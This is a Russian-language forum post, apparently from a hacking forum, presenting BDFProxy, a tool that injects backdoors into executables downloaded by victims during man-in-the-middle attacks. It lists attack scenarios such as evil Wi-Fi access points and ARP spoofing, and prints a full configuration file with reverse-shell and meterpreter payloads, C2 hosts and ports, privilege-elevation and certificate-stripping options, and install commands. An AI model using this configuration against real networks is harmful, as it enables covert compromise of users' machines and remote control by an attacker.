Bdfproxy — скрипт, который заражает бэкдорами загружаемые исполнимые файлы во время осуществления атаки человек-посередине

Tartuga

Бывалый
ПРОВЕРЕННЫЙ ПРОДАВЕЦ
PREMIUM USER

Tartuga

Бывалый
ПРОВЕРЕННЫЙ ПРОДАВЕЦ
PREMIUM USER
Регистрация
7 Фев 2020
Сообщения
525
Реакции
98
Репутация
147
Этот скрипт заражает бэкдорами загружаемые исполнимые файлы во время осуществления атаки человек-посередине, он работает на основе двух библиотек:

Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.

и

Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.

.

Домашняя страница:

Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.



Автор: Josh Pitts

Лицензия: BSD 3-Clause

Справка по BDFProxy
Справка отсутствует.

Сценарии атаки:

  • Злая ТД Wifi
  • Arp перенаправление
  • Физическое размещение в коммутационном шкафу
  • Логическое размещение на вашем любимом поставщике услуг Интернета
Руководство по BDFProxy
Страница man отсутствует.

Конфигурационный файл с комментариями:

[Overall]
proxyMode = regular # Режимы: regular или None (для libmproxy < 13), socks5, transparent, reverse, upstream
MaxSizeFileRequested = 100000000 # при запросе клиентом большого файла отправит 502 (ошибка сервера)
certLocation = ~/.mitmproxy/mitmproxy-ca.pem
proxyPort = 8080
sslports = 443, 8443
loglevel = INFO
logname = proxy.log
resourceScriptFile = bdfproxy_msf_resource.rc

[hosts]
#белый список хостов/IP — патчить только их.
#ALL — это означает все, используйте чёрный список для исключения конкретных хостов/IP

#Хосты, которые никогда не патчатся, но пропускаются через прокси. Вы можете включить хост и ip, рекомендуется использовать и то, и другое.

blacklist = , # если не хотите использовать эту опцию, то напишите запятую, не оставляйте поле пустым


[keywords]
#Проверки выполняются по ключевым словам в пути url

#Чёрный список исполнимых файлов, к которым вы совершенно не хотите притрагиваться

# Также применяется в сжатых файлах zip


[ZIP]
# patchCount — это максимальное число файлов для пропатчивания в файле zip
# После достижения максимального числа, остальные файлы будут пропущены
# и отправлены в первоначальном виде

patchCount = 5

# В байтах
maxSize = 50000000

blacklist = .dll, #не работать с dll в файле zip
[TAR]
# patchCount — это максимальное число файлов для пропатчивания в файле tar
# После достижения максимального числа, остальные файлы будут пропущены
# и отправлены в первоначальном виде

patchCount = 5

# В байтах
maxSize = 50000000

blacklist = , # если не хотите использовать эту опцию, то напишите запятую, не оставляйте поле пустым

[targets]
#УБЕДИТЕСЬ, что ваши настройки для хоста и порта НЕ MAKE
# перекрываются между различными типами полезной нагрузки

[[ALL]] # для всех целей НАСТРОЙКИ ПО УМОЛЧАНИЮ являются ОБЯЗАТЕЛЬНЫМИ

LinuxType = ALL # на выбор: x86/x64/ALL/None
WindowsType = ALL # на выбор: x86/x64/ALL/None
FatPriority = x64 # на выбор: x86 или x64

FileSizeMax = 10000000 # ~10 MB (менее) Не патчить файлы, превышающие этот размер

CompressedFiles = True #True/False

[[[LinuxIntelx86]]]
SHELL = reverse_shell_tcp # Здесь BDF синтаксис
HOST = 192.168.1.168 # Это C2
PORT = 8888
SUPPLIED_SHELLCODE = None
# Запуск препроцессора True/False
PREPROCESS = False
MSFPAYLOAD = linux/x86/shell_reverse_tcp # MSF синтаксис

[[[LinuxIntelx64]]]
SHELL = reverse_shell_tcp
HOST = 192.168.1.16
PORT = 9999
SUPPLIED_SHELLCODE = None
# Запуск препроцессора True/False
PREPROCESS = False
MSFPAYLOAD = linux/x64/shell_reverse_tcp

[[[WindowsIntelx86]]]
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
# PATCH_METHOD перезаписывает PATCH_TYPE, используйте automatic, replace или onionduke
PATCH_METHOD = automatic
HOST = 192.168.1.16
PORT = 8090
# SHELL для использования с automatic PATCH_METHOD
SHELL = iat_reverse_tcp_stager_threaded
# SUPPLIED_SHELLCODE для использования с полезной нагрузкой user_supplied_shellcode
SUPPLIED_SHELLCODE = None
ZERO_CERT = True
# PATCH_DLL если они встречаются
PATCH_DLL = False
# RUNAS_ADMIN попытается пропатчить requestedExecutionLevel до highestAvailable
RUNAS_ADMIN = True
# XP_MODE - для поддержки целей XP
XP_MODE = True
# РАЗМЕСТИТЬ Import Directory Table в Cave, а не в новую секцию (Экспериментальная опция)
IDT_IN_CAVE = False
# SUPPLIED_BINARY для использования с PATCH_METHOD 'onionduke' DLL/EXE могут быть x64 и
# с PATCH_METHOD 'replace' используйте EXE, а не DLL
SUPPLIED_BINARY = veil_go_payload.exe
# CODE_SIGN — для подписывания кода. Вы должны настроить ваши собственные сертификаты, смотрите документацию по BDF для подробностей.
CODE_SIGN = False
# Запустить препроцессор True/False
PREPROCESS = False
MSFPAYLOAD = windows/meterpreter/reverse_tcp

[[[WindowsIntelx64]]]
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
# PATCH_METHOD перезаписывает PATCH_TYPE, используйте automatic или onionduke
PATCH_METHOD = automatic
HOST = 192.168.1.16
PORT = 8088
# SHELL для использования с automatic PATCH_METHOD
SHELL = iat_reverse_tcp_stager_threaded
# SUPPLIED_SHELLCODE для использования с полезнйо нагрузкой user_supplied_shellcode
SUPPLIED_SHELLCODE = None
ZERO_CERT = True
PATCH_DLL = True
# РАЗМЕСТИТЬ Import Directory Table в Cave, а не в новую секцию (Экспериментальная опция)
IDT_IN_CAVE = False
# RUNAS_ADMIN попытается пропатчить requestedExecutionLevel до highestAvailable
RUNAS_ADMIN = True
# SUPPLIED_BINARY для использования с PATCH_METHOD onionduke DLL/EXE может быть x86 32bit и
# с PATCH_METHOD 'replace' используйте EXE, а не DLL
SUPPLIED_BINARY = pentest_x64_payload.exe
# CODE_SIGN — для подписывания кода. Вы должны настроить ваши собственные сертификаты, смотрите документацию по BDF для подробностей.
CODE_SIGN = False
# Запустить препроцессор True/False
PREPROCESS = False
MSFPAYLOAD = windows/x64/shell/reverse_tcp

[[[MachoIntelx86]]]
SHELL = reverse_shell_tcp
HOST = 192.168.1.16
PORT = 4444
SUPPLIED_SHELLCODE = None
# Запустить препроцессор True/False
PREPROCESS = False
MSFPAYLOAD = linux/x64/shell_reverse_tcp

[[[MachoIntelx64]]]
SHELL = reverse_shell_tcp
HOST = 192.168.1.16
PORT = 5555
SUPPLIED_SHELLCODE = None
# Запустить препроцессор True/False
PREPROCESS = False
MSFPAYLOAD = linux/x64/shell_reverse_tcp
# Эти настройки для целей применяются только если они различаются с настройками из секции ALL
# Эти настройки перезаписывают настройки из секции ALL

[[sysinternals.com]]
LinuxType = None
WindowsType = ALL
CompressedFiles = False
#наследует WindowsIntelx32 от ALL
[[[WindowsIntelx86]]]
PATCH_DLL = False
ZERO_CERT = True

[[sourceforge.org]]
WindowsType = x64
CompressedFiles = False

[[[WindowsIntelx64]]]
PATCH_DLL = False

[[[WindowsIntelx86]]]
PATCH_DLL = False
Примеры запуска BDFProxy
Необходимо начать с настройки файла bdfproxy.cfg. В Kali Linux этот файл размещён в /etc/bdfproxy/bdfproxy.cfg.

Перед запуском BDFProxy вам нужно вписать настройки хоста и порта вашего C2. НЕ делайте совпадающими настройки ПОРТА между двумя различными полезными нагрузками. Вы будуте отправлять шеллы linux на машины windows и всё время будете получать ошибку segfaulting. После запуска, будет создан скрипт ресурса metasploit для помощи с настройкой связи до C2. Внимательно проверьте его. Всё, что находиться за пределами секции [Overall] обновляется на лету, поэтому вам не нужно останавливать ваш прокси для изменения настроек работы вашей среды.

Затем:

Или

для просмотра того, что было пропатчено и заблокировано вашими настройками чёрного списка. При этом не упускайте из глаз главное окно прокси, если вы выбрали патчить исполнимые файлы вручную, всё происходит быстро при многопоточном обмене трафиком, но базовые запросы и ответы запираются для простоты обзора.

Установка BDFProxy
Установка в Kali Linux

sudo apt-get update
sudo apt-get install bdfproxy
 
Сверху